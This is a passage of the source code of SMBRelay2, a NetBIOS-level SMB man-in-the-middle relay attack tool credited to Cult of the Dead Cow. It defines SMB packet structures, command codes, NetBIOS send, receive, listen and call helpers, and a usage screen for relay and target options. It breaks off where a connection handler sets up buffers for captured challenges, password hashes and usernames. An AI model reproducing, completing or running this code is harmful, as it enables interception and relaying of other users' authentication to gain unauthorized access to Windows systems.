www.pudn.com > smbrelay.zip > smbrelay2.cpp


// smbrelay2.cpp : NetBIOS level SMB man-in-the-middle relay attack 
//  Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com 
 
 
 
#pragma comment( lib, "netapi32.lib" ) 
 
 
#include  
#include  
#include  
#include  
#include  
 
 
 
#pragma pack(1) 
 
int g_LanaNum = 0; 
BOOL g_LocalGroupName = FALSE; 
DWORD g_FinalReadTimeout = 3000; 
BOOL g_bQuit = FALSE; 
 
int g_DebugLevel = 0; 
 
#define SERVERDOMAINNAME	"PEE" 
 
#define SMBMAGICVAL	MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) 
#define NULLNAME		"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 
#define WILDCARDNAME	"*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 
 
#define NBCheck(x, s)  if (NRC_GOODRET != x.ncb_retcode) { fprintf(stderr, "Line %d:%s: Got 0x%x from Netbios(): %s\n", __LINE__, s, x.ncb_retcode, NBErrorTxt(x.ncb_retcode));	} 
 
#define DATAGRAMBUFFERSIZE 16384 
 
typedef struct { 
	DWORD MagicVal; 
	BYTE Command; 
	union  
	{ 
		struct  
		{ 
			BYTE ErrorClass; 
			BYTE Reserved; 
			WORD ErrorCode; 
		}; 
		DWORD NTError; 
	}; 
	// flags field 
	BYTE bLockAndReadWriteAndUnlock:1; 
	BYTE bSendWithoutAck:1; 
	BYTE bReservedBit:1; 
	BYTE bNoCaseSensitivePaths:1; 
	BYTE bCanonicalizedPaths:1; 
	BYTE bOpportunisticLocks:1; 
	BYTE bChangeNotify:1; 
	BYTE bResponse:1; 
	// 2nd flags field 
	BYTE bLongFilenames:1; 
	BYTE bExtendedAttributes:1; 
	BYTE bFlags2IsLongName:1; 
	BYTE bUnknown1:1; 
	BYTE bUnknown2:1; 
	BYTE bUnknown3:1; //*** 
	BYTE bUnknown4:1; 
	BYTE bUnknown5:1; //*** 
 
	BYTE bUnknown6:1; 
	BYTE bUnknown7:1; 
	BYTE bUnknown8:1; 
	BYTE bExtendedSecurity:1; 
	BYTE bResolveViaDFS:1; 
	BYTE bReadGrantedWithExecPerms:1; 
	BYTE bNTErrorCodes:1; 
	BYTE bUnicodeStrings:1; 
 
	WORD PID; 
	DWORD HdrReserved; 
	WORD SessionID; 
	WORD SequenceNumber; 
 
 
	BYTE Padding[2]; 
	WORD TreeID; 
	WORD CallersProcess; 
	WORD UserID; 
	WORD MultiplexID; 
} SMBHEADER, *PSMBHEADER; 
 
 
typedef struct { 
	BYTE Len;		// should be 17 
	WORD DialectIndex; 
	BYTE bUserLevelSecurity:1; 
	BYTE bEncryptPasswords:1; 
	BYTE bSecuritySignaturesEnabled:1; 
	BYTE bSecuritySignaturesRequired:1; 
	BYTE bReserved:4; 
	WORD MaxPendingMpxRequests; 
	WORD MaxVCsInClientAndServer; 
	DWORD MaxTransmitBufferSize; 
	DWORD MaxRawBufferSize; 
	DWORD UniqueSessionKey; 
	BYTE bReadAndWriteRawMode:1; 
	BYTE bReadAndWriteMultiplexMode:1; 
	BYTE bUnicode:1; 
	BYTE bLargeFiles:1; 
	BYTE bNTLM012Dialect:1; 
	BYTE bRAPIviaRPC:1; 
	BYTE bNT32BitStatus:1; 
	BYTE bLevelIIOplocks:1; 
 
	BYTE bLOCK_AND_READ_Command:1; 
	BYTE bNT_FIND_SBM_Command:1; 
	BYTE Unused1:2; 
	BYTE bDFSAware:1; 
	BYTE Unused2:3; 
 
	BYTE Unused3; 
 
	BYTE Unused4:5; 
	BYTE bBulkTransfer:1; 
	BYTE bCompressedData:1; 
	BYTE bExtendedSecurity:1; 
 
	DWORD SystemDate; 
	DWORD SystemTime; 
	WORD TimeZone; 
	BYTE EncryptionKeyLen; 
	WORD ByteCount; 
} SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER; 
 
#define SMBDIALECTSELECTHEADER_LEN			17 
 
 
 
typedef struct  
{ 
	BYTE Len;	// should be 10 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD MaxBufferSize; 
	WORD MaxMpxCount; 
	WORD VcNumber;	// 0 = first (only), nonzero=additional VC number 
	DWORD SessionKey; 
	WORD PasswordLen; 
	DWORD Reserved; 
	WORD ByteCount; 
} SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER; 
 
#define SESSION_SETUP_ANDHEADER_LEN 10 
 
 
 
typedef struct  
{ 
	BYTE Len;	// should be 13 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD MaxBufferSize; 
	WORD MaxMpxCount; 
	WORD VcNumber;	// 0 = first (only), nonzero=additional VC number 
	DWORD SessionKey; 
	WORD CaseInsensitivePasswordLen; 
	WORD CaseSensitivePasswordLen; 
	DWORD Reserved; 
	DWORD ClientCaps; 
	WORD ByteCount; 
} SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2; 
 
#define SESSION_SETUP_ANDHEADER2_LEN 13 
 
typedef struct  
{ 
	BYTE Len;	// should be 12 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD MaxBufferSize; 
	WORD MaxMpxCount; 
	WORD VcNumber;	// 0 = first (only), nonzero=additional VC number 
	DWORD SessionKey; 
	WORD SecurityBlobLen; 
	DWORD Reserved; 
	DWORD ClientCaps; 
	WORD ByteCount; 
} SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX; 
 
#define SESSION_SETUP_ANDHEADER2EX_LEN 12 
 
typedef struct 
{ 
	BYTE Len;	// should be 3 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD Action; 
	WORD ByteCount; 
} SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER; 
// followed by 
// SZ Server native OS 
// SZ Server native LanMan 
// SZ Server primary domain 
 
#define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3 
 
typedef struct 
{ 
	BYTE Len;	// should be 4 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD Flags; 
	WORD PasswordLen; 
	WORD ByteCount; 
} TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER; 
 
#define TREE_CONNECT_ANDHEADER_LEN 4 
 
 
typedef struct 
{ 
	BYTE Len;	// should be 3 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	WORD OptionalSupport; 
	WORD ByteCount; 
} TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER; 
// followed by 
// SZ Servicetype connected to 
// SZ NativeFileSystem 
 
#define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3 
 
 
typedef struct  
{ 
	BYTE Len;	// should be 24 
	BYTE AndXCommand; 
	BYTE AndXReserved; 
	WORD AndXOffset; 
	BYTE Reserved; 
	WORD NameLength; 
	DWORD Flags; 
	DWORD RootDirectoryFid; 
	DWORD AccessMask; 
	LARGE_INTEGER AllocationSize; 
	DWORD ExtFileAttributes; 
	DWORD ShareAccess; 
	DWORD CreateDisposition; 
	DWORD CreateOptions; 
	DWORD ImpersonationLevel; 
	BYTE SecurityFlags; 
	WORD ByteCount; 
} NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER; 
 
#define NT_CREATE_ANDHEADER_LEN 24 
 
#define TYPE_SESSION_MESSAGE			0x00 
#define TYPE_SESSION_REQUEST			0x81 
#define TYPE_POSITIVE_SESSION_RESPONSE	0x82 
#define TYPE_NEGATIVE_SESSION_RESPONSE	0x83 
#define TYPE_RETARGET_SESSION_RESPONSE	0x84 
#define TYPE_SESSION_KEEP_ALIVE			0x85 
 
#define SMB_COM_CREATE_DIRECTORY		0x00 
#define SMB_COM_DELETE_DIRECTORY		0x01 
#define SMB_COM_OPEN					0x02 
#define SMB_COM_CREATE					0x03 
#define SMB_COM_CLOSE					0x04  
#define SMB_COM_FLUSH					0x05  
#define SMB_COM_DELETE					0x06  
#define SMB_COM_RENAME					0x07  
#define SMB_COM_QUERY_INFORMATION		0x08  
#define SMB_COM_SET_INFORMATION			0x09  
#define SMB_COM_READ					0x0A  
#define SMB_COM_WRITE					0x0B  
#define SMB_COM_LOCK_BYTE_RANGE			0x0C  
#define SMB_COM_UNLOCK_BYTE_RANGE		0x0D  
#define SMB_COM_CREATE_TEMPORARY		0x0E  
#define SMB_COM_CREATE_NEW				0x0F  
#define SMB_COM_CHECK_DIRECTORY			0x10  
#define SMB_COM_PROCESS_EXIT			0x11  
#define SMB_COM_SEEK					0x12  
#define SMB_COM_LOCK_AND_READ			0x13  
#define SMB_COM_WRITE_AND_UNLOCK		0x14  
#define SMB_COM_READ_RAW				0x1A  
#define SMB_COM_READ_MPX				0x1B  
#define SMB_COM_READ_MPX_SECONDARY		0x1C  
#define SMB_COM_WRITE_RAW				0x1D  
#define SMB_COM_WRITE_MPX				0x1E  
#define SMB_COM_WRITE_COMPLETE			0x20  
#define SMB_COM_SET_INFORMATION2		0x22  
#define SMB_COM_QUERY_INFORMATION2		0x23  
#define SMB_COM_LOCKING_ANDX			0x24  
#define SMB_COM_TRANSACTION				0x25  
#define SMB_COM_TRANSACTION_SECONDARY	0x26  
#define SMB_COM_IOCTL					0x27  
#define SMB_COM_IOCTL_SECONDARY			0x28  
#define SMB_COM_COPY					0x29  
#define SMB_COM_MOVE					0x2A  
#define SMB_COM_ECHO					0x2B  
#define SMB_COM_WRITE_AND_CLOSE			0x2C  
#define SMB_COM_OPEN_ANDX				0x2D  
#define SMB_COM_READ_ANDX				0x2E  
#define SMB_COM_WRITE_ANDX				0x2F  
#define SMB_COM_CLOSE_AND_TREE_DISC		0x31  
#define SMB_COM_TRANSACTION2			0x32  
#define SMB_COM_TRANSACTION2_SECONDARY	0x33  
#define SMB_COM_FIND_CLOSE2				0x34  
#define SMB_COM_FIND_NOTIFY_CLOSE		0x35  
#define SMB_COM_TREE_CONNECT			0x70  
#define SMB_COM_TREE_DISCONNECT			0x71  
#define SMB_COM_NEGOTIATE               0x72 
#define SMB_COM_SESSION_SETUP_ANDX      0x73 
#define SMB_COM_LOGOFF_ANDX             0x74 
#define SMB_COM_TREE_CONNECT_ANDX       0x75 
#define SMB_COM_QUERY_INFORMATION_DISK  0x80 
#define SMB_COM_SEARCH                  0x81 
#define SMB_COM_FIND                    0x82 
#define SMB_COM_FIND_UNIQUE             0x83 
#define SMB_COM_NT_TRANSACT             0xA0 
#define SMB_COM_NT_TRANSACT_SECONDARY   0xA1 
#define SMB_COM_NT_CREATE_ANDX          0xA2 
#define SMB_COM_NT_CANCEL               0xA4 
#define SMB_COM_OPEN_PRINT_FILE         0xC0 
#define SMB_COM_WRITE_PRINT_FILE        0xC1 
#define SMB_COM_CLOSE_PRINT_FILE        0xC2 
#define SMB_COM_GET_PRINT_QUEUE         0xC3 
#define SMB_COM_READ_BULK               0xD8 
#define SMB_COM_WRITE_BULK              0xD9 
#define SMB_COM_WRITE_BULK_DATA         0xDA 
 
#define SMB_NONE						0xFF 
 
// The original MSNET SMB protocol (otherwise known as the "core protocol") 
#define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0"  
// Some versions of the original MSNET defined this as an alternate to the core protocol name 
#define LANMANDIALECT_PCLAN10 "PCLAN1.0"  
// This is used for the MS-NET 1.03 product.  It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write. 
#define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03"  
// This is the  DOS LANMAN 1.0 specific protocol.  It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error. 
#define LANMANDIALECT_MICROSOFTNETWORKS30  "MICROSOFT NETWORKS 3.0"  
// This is the first version of the full LANMAN 1.0 protocol 
#define LANMANDIALECT_LANMAN10 "LANMAN1.0" 
// This is the first version of the full LANMAN 2.0 protocol 
#define LANMANDIALECT_LM12X002 "LM1.2X002" 
// This is the DOS equivalent of the LM1.2X002 protocol.  It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors. 
#define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002" 
// DOS LANMAN2.1 
#define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1" 
// OS/2 LANMAN2.1 
#define LANMANDIALECT_LANMAN21 "LANMAN2.1" 
// Windows for Workgroups Version 1.0 
#define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a" 
// The SMB protocol designed for NT networking.  This has special SMBs which duplicate the NT semantics. 
#define LANMANDIALECT_NTLM012 "NT LM 0.12" 
 
 
 
#define SMBENCRYPTIONKEYLEN 8 
 
 
char *NBErrorTxt(int Er) 
{ 
	char *Ret = "Unknown"; 
 
	switch (Er) 
	{ 
	case NRC_GOODRET: 
		Ret = "good return"; 
		break; 
	case NRC_BUFLEN: 
		Ret = "illegal buffer length"; 
		break; 
	case NRC_ILLCMD: 
		Ret = "illegal command"; 
		break; 
	case NRC_CMDTMO: 
		Ret = "command timed out"; 
		break; 
	case NRC_INCOMP: 
		Ret = "message incomplete, issue another command"; 
		break; 
	case NRC_BADDR: 
		Ret = "illegal buffer address"; 
		break; 
	case NRC_SNUMOUT: 
		Ret = "session number out of range"; 
		break; 
	case NRC_NORES: 
		Ret = "no resource available"; 
		break; 
	case NRC_SCLOSED: 
		Ret = "session closed"; 
		break; 
	case NRC_CMDCAN: 
		Ret = "command cancelled"; 
		break; 
	case NRC_DUPNAME: 
		Ret = "duplicate name"; 
		break; 
	case NRC_NAMTFUL: 
		Ret = "name table full"; 
		break; 
	case NRC_ACTSES: 
		Ret = "no deletions, name has active sessions"; 
		break; 
	case NRC_LOCTFUL: 
		Ret = "local session table full"; 
		break; 
	case NRC_REMTFUL: 
		Ret = "remote session table full"; 
		break; 
	case NRC_ILLNN: 
		Ret = "illegal name number"; 
		break; 
	case NRC_NOCALL: 
		Ret = "no callname"; 
		break; 
	case NRC_NOWILD: 
		Ret = "cannot put * in NCB_NAME"; 
		break; 
	case NRC_INUSE: 
		Ret = "name in use on remote adapter"; 
		break; 
	case NRC_NAMERR: 
		Ret = "name deleted"; 
		break; 
	case NRC_SABORT: 
		Ret = "session ended abnormally"; 
		break; 
	case NRC_NAMCONF: 
		Ret = "name conflict detected"; 
		break; 
	case NRC_IFBUSY: 
		Ret = "interface busy, IRET before retrying"; 
		break; 
	case NRC_TOOMANY: 
		Ret = "too many commands outstanding, retry later"; 
		break; 
	case NRC_BRIDGE: 
		Ret = "ncb_lana_num field invalid"; 
		break; 
	case NRC_CANOCCR: 
		Ret = "command completed while cancel occurring"; 
		break; 
	case NRC_CANCEL: 
		Ret = "command not valid to cancel"; 
		break; 
	case NRC_DUPENV: 
		Ret = "name defined by anther local process"; 
		break; 
	case NRC_ENVNOTDEF: 
		Ret = "environment undefined. RESET required"; 
		break; 
	case NRC_OSRESNOTAV: 
		Ret = "required OS resources exhausted"; 
		break; 
	case NRC_MAXAPPS: 
		Ret = "max number of applications exceeded"; 
		break; 
	case NRC_NOSAPS: 
		Ret = "no saps available for netbios"; 
		break; 
	case NRC_NORESOURCES: 
		Ret = "requested resources are not available"; 
		break; 
	case NRC_INVADDRESS: 
		Ret = "invalid ncb address or length > segment"; 
		break; 
	case NRC_INVDDID: 
		Ret = "invalid NCB DDID"; 
		break; 
	case NRC_LOCKFAIL: 
		Ret = "lock of user area failed"; 
		break; 
	case NRC_OPENERR: 
		Ret = "NETBIOS not loaded"; 
		break; 
	case NRC_SYSTEM: 
		Ret = "system error"; 
		break; 
	case NRC_PENDING: 
		Ret = "asynchronous command is not yet finished"; 
		break; 
	} 
	return Ret; 
} 
 
void PrintNetBIOSName(unsigned char *name) 
{ 
	BYTE BinVal; 
	char PrintName[NCBNAMSZ]; 
	int x; 
 
	memcpy(PrintName, name, NCBNAMSZ-1); 
	PrintName[NCBNAMSZ-1] = 0; 
 
	BinVal = name[NCBNAMSZ-1]; 
 
	fprintf(stderr, "%s", PrintName); 
 
	for (x = 0; x < NCBNAMSZ - (int)strlen(PrintName); x++) 
		fprintf(stderr, " "); 
	 
	fprintf(stderr, "<%02x>", BinVal); 
} 
 
 
void ParamToNetBIOSName(char *dest, char *src) 
{ 
	int x, len; 
	char *tmpptr; 
	char *BinValPtr = strchr(src, '\\'); 
 
	if (BinValPtr != NULL) 
	{ 
		*BinValPtr = 0; 
		tmpptr = BinValPtr - 1; 
	}  
	else  
	{ 
		tmpptr = src + strlen(src) - 1;	// point to last char in string 
	} 
 
	while (tmpptr > src && *tmpptr == ' ') 
	{ 
		*tmpptr = 0; 
		tmpptr--; 
	} 
 
	len = strlen(src); 
 
	if (len > NCBNAMSZ-1) len = NCBNAMSZ-1; 
 
	if (strcmp(src, WILDCARDNAME) == 0) 
		memset(dest, 0, NCBNAMSZ-1); 
	else 
		memset(dest, ' ', NCBNAMSZ-1); 
 
	memcpy(dest, src, len); 
 
	if (BinValPtr != NULL) 
	{ 
		dest[NCBNAMSZ-1] = (unsigned char)strtoul(BinValPtr+1, NULL, 16); 
	} 
	else  
		dest[NCBNAMSZ-1] = 0; 
 
	// convert to upper case 
	for (x = 0; x < NCBNAMSZ-1; x++) 
		dest[x] = toupper(dest[x]); 
	 
} 
 
 
 
 
void PrintHexString(BYTE *src, int len) 
{ 
	int x; 
 
	if (len == 0) 
		return; 
 
	for (x = 0; x < len; x++) 
	{ 
		fprintf(stderr, "%02X",	*src); 
 
		src++; 
	} 
 
	fprintf(stderr, " "); 
} 
 
 
 
const char *GetCommandType(BYTE Command) 
{ 
	static char retbuff[64]; 
	char * ret = retbuff; 
 
	switch(Command) 
	{ 
	case SMB_COM_CREATE_DIRECTORY: 
		ret = "SMB_COM_CREATE_DIRECTORY"; 
		break; 
	case SMB_COM_DELETE_DIRECTORY: 
		ret = "SMB_COM_DELETE_DIRECTORY"; 
		break; 
	case SMB_COM_OPEN: 
		ret = "SMB_COM_OPEN"; 
		break; 
	case SMB_COM_CREATE: 
		ret = "SMB_COM_CREATE"; 
		break; 
	case SMB_COM_CLOSE: 
		ret = "SMB_COM_CLOSE"; 
		break; 
	case SMB_COM_FLUSH: 
		ret = "SMB_COM_FLUSH"; 
		break; 
	case SMB_COM_DELETE: 
		ret = "SMB_COM_DELETE"; 
		break; 
	case SMB_COM_RENAME: 
		ret = "SMB_COM_RENAME"; 
		break; 
	case SMB_COM_QUERY_INFORMATION: 
		ret = "SMB_COM_QUERY_INFORMATION"; 
		break; 
	case SMB_COM_SET_INFORMATION: 
		ret = "SMB_COM_SET_INFORMATION"; 
		break; 
	case SMB_COM_READ: 
		ret = "SMB_COM_READ"; 
		break; 
	case SMB_COM_WRITE: 
		ret = "SMB_COM_WRITE"; 
		break; 
	case SMB_COM_LOCK_BYTE_RANGE: 
		ret = "SMB_COM_LOCK_BYTE_RANGE"; 
		break; 
	case SMB_COM_UNLOCK_BYTE_RANGE: 
		ret = "SMB_COM_UNLOCK_BYTE_RANGE"; 
		break; 
	case SMB_COM_CREATE_TEMPORARY: 
		ret = "SMB_COM_CREATE_TEMPORARY"; 
		break; 
	case SMB_COM_CREATE_NEW: 
		ret = "SMB_COM_CREATE_NEW"; 
		break; 
	case SMB_COM_CHECK_DIRECTORY: 
		ret = "SMB_COM_CHECK_DIRECTORY"; 
		break; 
	case SMB_COM_PROCESS_EXIT: 
		ret = "SMB_COM_PROCESS_EXIT"; 
		break; 
	case SMB_COM_SEEK: 
		ret = "SMB_COM_SEEK"; 
		break; 
	case SMB_COM_LOCK_AND_READ: 
		ret = "SMB_COM_LOCK_AND_READ"; 
		break; 
	case SMB_COM_WRITE_AND_UNLOCK: 
		ret = "SMB_COM_WRITE_AND_UNLOCK"; 
		break; 
	case SMB_COM_READ_RAW: 
		ret = "SMB_COM_READ_RAW"; 
		break; 
	case SMB_COM_READ_MPX: 
		ret = "SMB_COM_READ_MPX"; 
		break; 
	case SMB_COM_READ_MPX_SECONDARY: 
		ret = "SMB_COM_READ_MPX_SECONDARY"; 
		break; 
	case SMB_COM_WRITE_RAW: 
		ret = "SMB_COM_WRITE_RAW"; 
		break; 
	case SMB_COM_WRITE_MPX: 
		ret = "SMB_COM_WRITE_MPX"; 
		break; 
	case SMB_COM_WRITE_COMPLETE: 
		ret = "SMB_COM_WRITE_COMPLETE"; 
		break; 
	case SMB_COM_SET_INFORMATION2: 
		ret = "SMB_COM_SET_INFORMATION2"; 
		break; 
	case SMB_COM_QUERY_INFORMATION2: 
		ret = "SMB_COM_QUERY_INFORMATION2"; 
		break; 
	case SMB_COM_LOCKING_ANDX: 
		ret = "SMB_COM_LOCKING_ANDX"; 
		break; 
	case SMB_COM_TRANSACTION: 
		ret = "SMB_COM_TRANSACTION"; 
		break; 
	case SMB_COM_TRANSACTION_SECONDARY: 
		ret = "SMB_COM_TRANSACTION_SECONDARY"; 
		break; 
	case SMB_COM_IOCTL: 
		ret = "SMB_COM_IOCTL"; 
		break; 
	case SMB_COM_IOCTL_SECONDARY: 
		ret = "SMB_COM_IOCTL_SECONDARY"; 
		break; 
	case SMB_COM_COPY: 
		ret = "SMB_COM_COPY"; 
		break; 
	case SMB_COM_MOVE: 
		ret = "SMB_COM_MOVE"; 
		break; 
	case SMB_COM_ECHO: 
		ret = "SMB_COM_ECHO"; 
		break; 
	case SMB_COM_WRITE_AND_CLOSE: 
		ret = "SMB_COM_WRITE_AND_CLOSE"; 
		break; 
	case SMB_COM_OPEN_ANDX: 
		ret = "SMB_COM_OPEN_ANDX"; 
		break; 
	case SMB_COM_READ_ANDX: 
		ret = "SMB_COM_READ_ANDX"; 
		break; 
	case SMB_COM_WRITE_ANDX: 
		ret = "SMB_COM_WRITE_ANDX"; 
		break; 
	case SMB_COM_CLOSE_AND_TREE_DISC: 
		ret = "SMB_COM_CLOSE_AND_TREE_DISC"; 
		break; 
	case SMB_COM_TRANSACTION2: 
		ret = "SMB_COM_TRANSACTION2"; 
		break; 
	case SMB_COM_TRANSACTION2_SECONDARY: 
		ret = "SMB_COM_TRANSACTION2_SECONDARY"; 
		break; 
	case SMB_COM_FIND_CLOSE2: 
		ret = "SMB_COM_FIND_CLOSE2"; 
		break; 
	case SMB_COM_FIND_NOTIFY_CLOSE: 
		ret = "SMB_COM_FIND_NOTIFY_CLOSE"; 
		break; 
	case SMB_COM_TREE_CONNECT: 
		ret = "SMB_COM_TREE_CONNECT"; 
		break; 
	case SMB_COM_TREE_DISCONNECT: 
		ret = "SMB_COM_TREE_DISCONNECT"; 
		break; 
	case SMB_COM_NEGOTIATE: 
		ret = "SMB_COM_NEGOTIATE"; 
		break; 
	case SMB_COM_SESSION_SETUP_ANDX: 
		ret = "SMB_COM_SESSION_SETUP_ANDX"; 
		break; 
	case SMB_COM_LOGOFF_ANDX: 
		ret = "SMB_COM_LOGOFF_ANDX"; 
		break; 
	case SMB_COM_TREE_CONNECT_ANDX: 
		ret = "SMB_COM_TREE_CONNECT_ANDX"; 
		break; 
	case SMB_COM_QUERY_INFORMATION_DISK: 
		ret = "SMB_COM_QUERY_INFORMATION_DISK"; 
		break; 
	case SMB_COM_SEARCH: 
		ret = "SMB_COM_SEARCH"; 
		break; 
	case SMB_COM_FIND: 
		ret = "SMB_COM_FIND"; 
		break; 
	case SMB_COM_FIND_UNIQUE: 
		ret = "SMB_COM_FIND_UNIQUE"; 
		break; 
	case SMB_COM_NT_TRANSACT: 
		ret = "SMB_COM_NT_TRANSACT"; 
		break; 
	case SMB_COM_NT_TRANSACT_SECONDARY: 
		ret = "SMB_COM_NT_TRANSACT_SECONDARY"; 
		break; 
	case SMB_COM_NT_CREATE_ANDX: 
		ret = "SMB_COM_NT_CREATE_ANDX"; 
		break; 
	case SMB_COM_NT_CANCEL: 
		ret = "SMB_COM_NT_CANCEL"; 
		break; 
	case SMB_COM_OPEN_PRINT_FILE: 
		ret = "SMB_COM_OPEN_PRINT_FILE"; 
		break; 
	case SMB_COM_WRITE_PRINT_FILE: 
		ret = "SMB_COM_WRITE_PRINT_FILE"; 
		break; 
	case SMB_COM_CLOSE_PRINT_FILE: 
		ret = "SMB_COM_CLOSE_PRINT_FILE"; 
		break; 
	case SMB_COM_GET_PRINT_QUEUE: 
		ret = "SMB_COM_GET_PRINT_QUEUE"; 
		break; 
	default: 
		sprintf(retbuff, "Command 0x%02X", Command); 
		break; 
 
	} 
 
	return ret; 
} 
 
 
BOOL NBAddName (char *LocalName, NCB *pncb = NULL) 
{     
	NCB ncb; 
 
	if (pncb == NULL) 
		pncb = &ncb; 
 
    memset (pncb, 0, sizeof (NCB));     
	if (g_LocalGroupName) 
		pncb->ncb_command = NCBADDGRNAME; 
	else 
		pncb->ncb_command = NCBADDNAME; 
    pncb->ncb_lana_num = g_LanaNum;     
	memcpy(pncb->ncb_name, LocalName, NCBNAMSZ); 
 
	fprintf(stderr, "Registering NetBIOS name:                      "); 
	PrintNetBIOSName((unsigned char *)LocalName); 
	fprintf(stderr, "...\n"); 
 
    Netbios (pncb);     
 
	NBCheck ((*pncb), "NBAddName"); 
 
    return (NRC_GOODRET == pncb->ncb_retcode); 
} 
 
 
 
BOOL NBCall(PNCB pncb, char *RemoteName) 
{ 
 
 
	fprintf(stderr, "Calling name:                                  "); 
	PrintNetBIOSName((unsigned char *)RemoteName); 
	fprintf(stderr, "...\n"); 
 
 
	pncb->ncb_command = NCBCALL; 
	memcpy(pncb->ncb_callname, RemoteName, NCBNAMSZ); 
 
	pncb->ncb_rto = 1; 
 
	Netbios (pncb);     
 
    if (NRC_GOODRET != pncb->ncb_retcode) 
		return FALSE; 
	 
	return TRUE; 
} 
 
 
BOOL NBListen(PNCB pncb, char *RemoteName = WILDCARDNAME) 
{ 
 
	fprintf(stderr, "Listening for connections from name:           "); 
	PrintNetBIOSName((unsigned char *)RemoteName); 
	fprintf(stderr, "...\n"); 
 
	pncb->ncb_command = NCBLISTEN; 
	memcpy(pncb->ncb_callname, RemoteName, NCBNAMSZ); 
 
	pncb->ncb_rto = 1; 
 
	Netbios (pncb);     
 
	if (NRC_GOODRET != pncb->ncb_retcode) 
		return FALSE; 
 
	fprintf(stderr, "Connection received from name:                 "); 
	PrintNetBIOSName(pncb->ncb_callname); 
	fprintf(stderr, "\n"); 
 
	return TRUE; 
} 
 
BOOL NBSend(PNCB pncb, char *buff, WORD len) 
{ 
 
	pncb->ncb_command = NCBSEND; 
	pncb->ncb_buffer = (unsigned char *)buff; 
	pncb->ncb_length = len; 
 
	Netbios (pncb);     
 
	NBCheck((*pncb), "NBSend"); 
 
 
    return (NRC_GOODRET == pncb->ncb_retcode); 
} 
 
 
 
BOOL NBRecv(PNCB pncb, unsigned char *buff, WORD len) 
{ 
 
 
	pncb->ncb_command = NCBRECV; 
	pncb->ncb_buffer = buff; 
	pncb->ncb_length = len; 
 
	Netbios (pncb);     
 
	if ( pncb->ncb_retcode == NRC_CMDTMO ) 
		pncb->ncb_length = 0; 
	else 
		NBCheck((*pncb), "NBRecv"); 
 
    return (NRC_GOODRET == pncb->ncb_retcode || NRC_CMDTMO == pncb->ncb_retcode ); 
} 
 
 
 
BOOL NBReset (int nLana, int nSessions, int nNames) 
{     
	NCB ncb; 
    memset (&ncb, 0, sizeof (ncb));     
	ncb.ncb_command = NCBRESET; 
    ncb.ncb_lsn = 0;                // Allocate new lana_num resources  
    ncb.ncb_lana_num = nLana; 
    ncb.ncb_callname[0] = nSessions;  // maximum sessions  
    ncb.ncb_callname[2] = nNames;   // maximum names      
	Netbios (&ncb); 
 
    NBCheck (ncb, "NBReset");     
 
	return (NRC_GOODRET == ncb.ncb_retcode); 
} 
 
 
BOOL NBHangup ( PNCB pncb) 
{ 
 
	pncb->ncb_command = NCBHANGUP; 
    Netbios (pncb);     
 
	NBCheck ((*pncb), "NBHangup"); 
 
    return (NRC_GOODRET == pncb->ncb_retcode); 
} 
 
void Usage() 
{ 
	puts("SMBRelay2 [Options]"); 
	puts(" Options:"); 
	puts("  /A LanaNum     - Use LanaNum"); 
	puts("                    Defaults to 0"); 
	puts("  /D DebugLevel  - Level of debug messages, valid levels 0 - 3"); 
	puts("                    Defaults to 0"); 
	puts("  /L LocalName   - Listen for primary connection on LocalName"); 
	puts("                    Defaults to SERVER"); 
	puts("  /R RelayName   - Listen for relay connection on RelayName"); 
	puts("                    Defaults to RELAY"); 
	puts("  /S SourceName  - Use SourceName when connecting to target"); 
	puts("                    Defaults to CDC4EVER"); 
	puts("  /T TargetName  - Connect to TargetName for relay"); 
	puts("                    Defaults to connecting back to client"); 
	puts("  /? /H          - This help"); 
 
} 
 
 
char TargetName[32] = NULLNAME; 
char SourceName[32] = "CDC4EVER       \0"; 
char RelayName[32] =  "RELAY           "; 
 
BOOL RegisterSourceName = TRUE; 
 
 
void ConnectionHandlerThread(void *arg) 
{ 
	char buff[65535]; 
	char NameBuff[NCBNAMSZ]; 
	BYTE challenge[8]; 
	BYTE caseinsensitivepassword[24]; 
	BYTE casesensitivepassword[24]; 
	char username[64]; 
	char hostname[64]; 
	DWORD SessionID; 
	char negotiateheaders[1024]; 
	char logonandconnectheaders[1024]; 
	WORD UID; 
	NCB inncb, outncb; 
	int x; 
 
	memcpy(&inncb, arg, sizeof(NCB)); 
 
 
 
 
	if (memcmp(TargetName, NULLNAME, NCBNAMSZ) == 0) 
		memcpy(NameBuff, inncb.ncb_callname, NCBNAMSZ); 
	else 
		memcpy(NameBuff, TargetName, NCBNAMSZ); 
	 
	NameBuff[NCBNAMSZ-1] = 0x20; 
 
	memcpy(hostname, NameBuff, NCBNAMSZ-1); 
 
